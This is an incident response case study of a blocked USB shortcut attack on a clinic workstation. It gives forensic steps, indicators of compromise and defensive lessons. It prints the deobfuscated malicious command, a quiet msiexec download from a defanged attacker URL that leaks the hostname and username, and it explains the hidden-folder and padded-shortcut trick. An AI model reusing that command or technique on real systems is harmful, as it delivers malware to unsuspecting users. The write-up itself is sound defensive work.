Five Seconds from USB Insert to Malware Execution

A real-world incident response case study

This case study has been de-identified. Customer, patient, user, host, network, and device identifiers have been removed or generalized. Malicious URLs are defanged.

At first glance, the alert looked deceptively ordinary: cmd.exe, a legitimate Windows component, had launched with a command line associated with known malware.

Within the hour, the investigation had uncovered a classic but highly effective USB shortcut attack. A removable drive had been prepared to hide the user’s real files, display a convincing shortcut in their place, and quietly download a second-stage Windows Installer package when that shortcut was opened.

The most striking detail was the speed of the attack. Windows mounted the infected USB drive, and just five seconds later the malicious command ran.

Fortunately, the endpoint protection platform killed the command in under one second and automatically contained the workstation. The investigation found no evidence that the second-stage payload downloaded, installed, or established persistence.

Then came the operational twist: while we were preparing to clean the USB, we learned that it had already been handed to a patient to take home.

This is the story of how we reconstructed the event, separated a blocked attempt from a successful compromise, and turned a small removable device into a valuable security lesson.

The Initial Alert

The endpoint platform raised a high-severity detection on a front-office Windows 11 workstation. The detection described a process launched with a command line associated with known malware and recommended investigation of the process tree.

The process was:

C:\Windows\System32\cmd.exe

The command line contained hundreds of whitespace and control characters, followed by:

/E/v/RcMd<XPhFk.sAv

That final fragment was the useful part. It indicated that a file named XPhFk.sAv was being redirected into a command interpreter as input.

The executable hash displayed in the original detection belonged to the legitimate Microsoft cmd.exe binary. This is an important distinction: the system binary was not the malicious payload. The command line, its parent process, and the redirected input file were the meaningful indicators.

The endpoint platform had already taken two critical actions:

• It killed the detected process.
• It placed the workstation into network containment.

Containment gave us room to investigate without allowing an undetected secondary process to communicate freely.

The First Search Missed the File

We initially searched the system drive for the exact filename:

Get-ChildItem -Path C:\ -Filter "XPhFk.sAv" -Recurse -ErrorAction SilentlyContinue

The search returned no result.

That could have meant the file had been deleted, renamed, or quarantined. But the command used a relative filename rather than a full path, so there was another possibility: it had run from a different volume.

We knew that removable media had been connected that morning. Enumerating USB storage revealed three devices, including a small SanDisk flash drive. Searching the root of each removable volume immediately found the file:

E:\XPhFk.sAv

The file was only 6,408 bytes and carried the read-only, hidden, system, and archive attributes. Those attributes were a strong indication that it was intended to remain out of sight during normal browsing.

Its SHA-256 hash was:

EE7257DE999B17128592F1C0309F0BCB91C0A3C165D95EDF670923B9BF719AFA

Before inspecting or changing anything, we uploaded a copy into the endpoint platform’s evidence storage.

What the USB Actually Contained

A forced directory listing of the SanDisk root exposed the full structure:

105ND810\
USB Drive\
System Volume Information\
USB Drive.lnk
XPhFk.sAv

Three details stood out.

First, the real folder named USB Drive was hidden and marked as a system folder.

Second, a visible shortcut named USB Drive.lnk sat beside it. The shortcut used a standard Windows drive icon and description, making it look like the normal way to open the device.

Third, the hidden .sav file shared its creation and modification period with the shortcut structure.

This is a familiar removable-media deception:

1. Hide the user’s real folder.
2. Create a shortcut with the same friendly name.
3. Give the shortcut an ordinary drive or folder icon.
4. Launch malicious code when the shortcut is opened.
5. Open the real folder afterward so the user sees the expected files.

The shortcut’s SHA-256 hash was:

84BBB902E56524E478BAD46B402E9A22EBC4DE42F3D2AB0D84ABB827432B5827

We preserved that file as evidence as well.

Safely Parsing the Malicious Shortcut

We did not click the shortcut. Instead, we read its metadata using the Windows Script Host shortcut object:

$w = New-Object -ComObject WScript.Shell
$s = $w.CreateShortcut('E:\USB Drive.lnk')

[PSCustomObject]@{
    TargetPath       = $s.TargetPath
    Arguments        = $s.Arguments
    WorkingDirectory = $s.WorkingDirectory
    IconLocation     = $s.IconLocation
    Description      = $s.Description
    WindowStyle      = $s.WindowStyle
}

The results confirmed the shortcut was malicious:

• Target: C:\Windows\System32\cmd.exe
• Description: USB Drive
• Icon: A standard icon from shell32.dll
• Window style: Minimized
• Arguments: Extensive control-character padding ending in the redirect from XPhFk.sAv

The control characters served no legitimate purpose. They pushed the meaningful command out of sight in ordinary property dialogs and made visual review harder.

The minimized window ensured that, if execution succeeded, the victim would be less likely to notice a command prompt flash on screen.

Decoding the Hidden Command File

Because the .sav file included control characters and binary-looking filler, we encoded it as Base64 before analysis. This allowed us to transport and inspect it without rendering its raw contents in the live response console.

The meaningful commands were embedded near the end of the file and heavily obfuscated with mixed letter casing, caret escape characters, and references to undefined environment variables. Once normalized, the first command was effectively:

start msiexec /Q /PACKAGE
"hxxp://w0[.]pm:8080/A/0yxBHEXWoQg1fxXWW1/%COMPUTERNAME%?%USERNAME%"

Several additional PROPERTY=value arguments were passed to Windows Installer. Their names and values appeared randomized.

The intent was clear:

• Start msiexec.exe.
• Run it quietly.
• Download an MSI package from a remote server.
• Include the local computer name and username in the request URL.

The second meaningful command was effectively:

start explorer "USB Drive"

This was the distraction step. After attempting to launch the downloader, the malware opened the genuine hidden folder. To the user, it would look as though the “USB Drive” icon had simply opened their files.

Did the Second-Stage Payload Execute?

Discovering a downloader is not the same as proving that it successfully downloaded or installed anything. Establishing that distinction became the central impact question.

We checked multiple independent sources.

Endpoint Process Telemetry

The process tree showed:

• The malicious cmd.exe was launched by explorer.exe.
• It ran in the affected user’s interactive session.
• Its lifetime was less than one second.
• The endpoint platform killed it.
• No child msiexec.exe process was recorded.

This was the strongest evidence that the command was stopped before the download stage.

Windows Process Auditing

We searched Security event 4688 for msiexec.exe, the malicious domain, and the unique URL path. No matching event existed.

However, Windows process-creation auditing was not fully available on this endpoint, so the absence of an event could not be treated as conclusive by itself.

Sysmon

Sysmon was not installed, so there was no local Sysmon process or network telemetry to consult.

Windows Installer Events

There were no MsiInstaller application events during the incident window.

Prefetch

There was no MSIEXEC*.pf prefetch record. This reduced the likelihood that msiexec.exe had launched, although prefetch should always be treated as supporting—not absolute—evidence.

Installer and Temporary Files

We searched Windows Installer storage, Windows temporary folders, and user temporary directories for recently created .msi, .msp, .cab, and .tmp files. Nothing relevant was found.

DNS

The malicious domain was not present in the local DNS client cache.

Recently Created Payloads

We searched common user, temporary, and program-data locations for executable files, DLLs, scripts, and installer artifacts created around the detection. The only matches were ordinary Windows diagnostic data files.

Persistence

We checked:

• Startup commands
• Run keys exposed through Windows startup inventory
• Scheduled tasks
• Service creation and reconfiguration events

No suspicious persistence was found.

Assessment: Taken together, the evidence supported a blocked execution attempt rather than a successful compromise. No single negative finding would have been enough. Confidence came from the agreement of the process tree, installer telemetry, filesystem, DNS, startup, and persistence checks.

Reconstructing the Human Timeline

The organization initially believed nobody had been using the workstation. Windows and endpoint telemetry told a more precise story.

The relevant events were:

Only five seconds separated the USB volume starting and the malicious command executing.

The explorer.exe parent strongly indicated that the shortcut was launched through the interactive Windows shell. Windows does not normally execute an arbitrary .lnk file merely because a USB drive is inserted.

Could remote-control software have generated the interaction? Potentially. Remote-control tools operate inside the existing desktop and may look like local console activity.

We therefore checked:

• Native Windows remote logons
• TeamViewer services and connection logs
• NinjaOne/NinjaRemote processes and local logs

There was no native RDP session, no TeamViewer activity on the incident date, and no local NinjaRemote session evidence around the event. The authorized Ninja agent’s connection failures began only after network containment, as expected.

The most likely explanation was local interaction: someone unlocked the workstation, inserted the USB, and opened the convincing shortcut.

The Unexpected Handoff

After preserving the evidence and confirming that the workstation itself showed no secondary compromise, we prepared to clean the flash drive.

The drive was no longer attached.

We then learned that it had been handed to a patient to take home.

At that point, the response expanded beyond the contained endpoint. The patient was advised:

• Do not connect the USB to any computer.
• If it had already been connected, do not open the “USB Drive” shortcut.
• If the shortcut had been opened, disconnect that computer from the network and stop using it pending investigation.
• Return or securely destroy the USB without connecting it elsewhere.

The organization elected to have the USB destroyed.

Because both malicious artifacts had already been preserved, the loss of the physical media did not erase the technical evidence needed for the case.

Why Containment and Evidence Preservation Mattered

Two response decisions made the investigation substantially safer.

First, the endpoint stayed contained while impact was assessed. The downloader depended on reaching an external host over TCP port 8080. Containment reduced the opportunity for a missed secondary process to communicate.

Second, the malicious files were hashed and preserved before cleanup was attempted. This allowed the organization to retain:

• The original shortcut
• The redirected command file
• Cryptographic hashes
• Shortcut metadata
• The deobfuscated network indicator
• The execution and device timeline

When the USB unexpectedly left the site, that preparation became especially valuable.

Lessons for Defenders

Search Every Relevant Volume

An exact search of C: returned nothing because the malicious file lived on removable media. When a command uses a relative path, establish the process working context and enumerate mounted volumes before concluding that an artifact is gone.

Treat Drive Letters as Temporary

Drive letters can change after a device is removed, remounted, or re-enumerated. Before any destructive cleanup, identify removable media by make, model, and serial number—not by E: or another transient letter.

The System Binary May Not Be the Malware

The detected executable was legitimate cmd.exe. Blocking or hunting on its hash would create noise and false positives. The meaningful indicators were the command line, shortcut, redirected input file, remote URL, and parent-child relationships.

Preserve First, Clean Second

Hash and collect suspicious files before changing attributes, moving folders, deleting shortcuts, or reformatting media.

Negative Evidence Is Strongest in Combination

No msiexec.exe child, no installer events, no prefetch, no temporary MSI, no DNS cache entry, and no persistence collectively supported the conclusion that the second stage did not run.

Removable-Media Procedures Are Still Necessary

USB attacks are not obsolete. They work because operating-system prompts look familiar and the shortcut opens the expected files after launching the malicious command.

Organizations should:

• Disable or tightly control removable media where practical.
• Disable AutoPlay through policy.
• Train staff not to open unexpected shortcuts on removable drives.
• Scan media on an isolated system before use.
• Avoid transferring removable media directly between organizational and personal devices.
• Maintain a clear process for media that will be handed to customers or patients.

Cloud Audit Logs Matter

Local Windows evidence cannot always distinguish physical input from remote-control input. When RMM or remote-support tooling is installed, preserve and review its cloud-side session audit trail.

Indicators of Compromise

The following indicators are provided for defensive hunting. URLs are defanged.

Files

XPhFk.sAv
USB Drive.lnk

SHA-256

EE7257DE999B17128592F1C0309F0BCB91C0A3C165D95EDF670923B9BF719AFA
84BBB902E56524E478BAD46B402E9A22EBC4DE42F3D2AB0D84ABB827432B5827

Network

w0[.]pm
hxxp://w0[.]pm:8080/A/0yxBHEXWoQg1fxXWW1/%COMPUTERNAME%?%USERNAME%

These indicators should be combined with behavioral detection. Filenames can change, hashes can be replaced, and infrastructure can move. More durable signals include:

• Shortcuts on removable media launching cmd.exe
• Heavy control-character padding in shortcut arguments
• Input redirection from hidden files into cmd.exe
• Quiet remote MSI installation from unusual domains or ports
• A hidden folder paired with a same-name visible shortcut

Closing Perspective

This incident did not become a full compromise because prevention, containment, and investigation worked together.

The endpoint platform stopped the malicious command quickly. Live response allowed the USB artifacts to be found and preserved. Process telemetry established that no second-stage child was recorded. Windows logs supplied the insertion and unlock timeline. Cross-checking filesystem, DNS, installer, and persistence artifacts allowed the workstation to be returned to service with a defensible level of confidence.

Most importantly, the investigation corrected an assumption. The workstation was believed to be unused, but the evidence showed an unlock, a USB insertion, and shortcut execution within a tight fifteen-minute window.

In incident response, the smallest timestamps often tell the biggest story.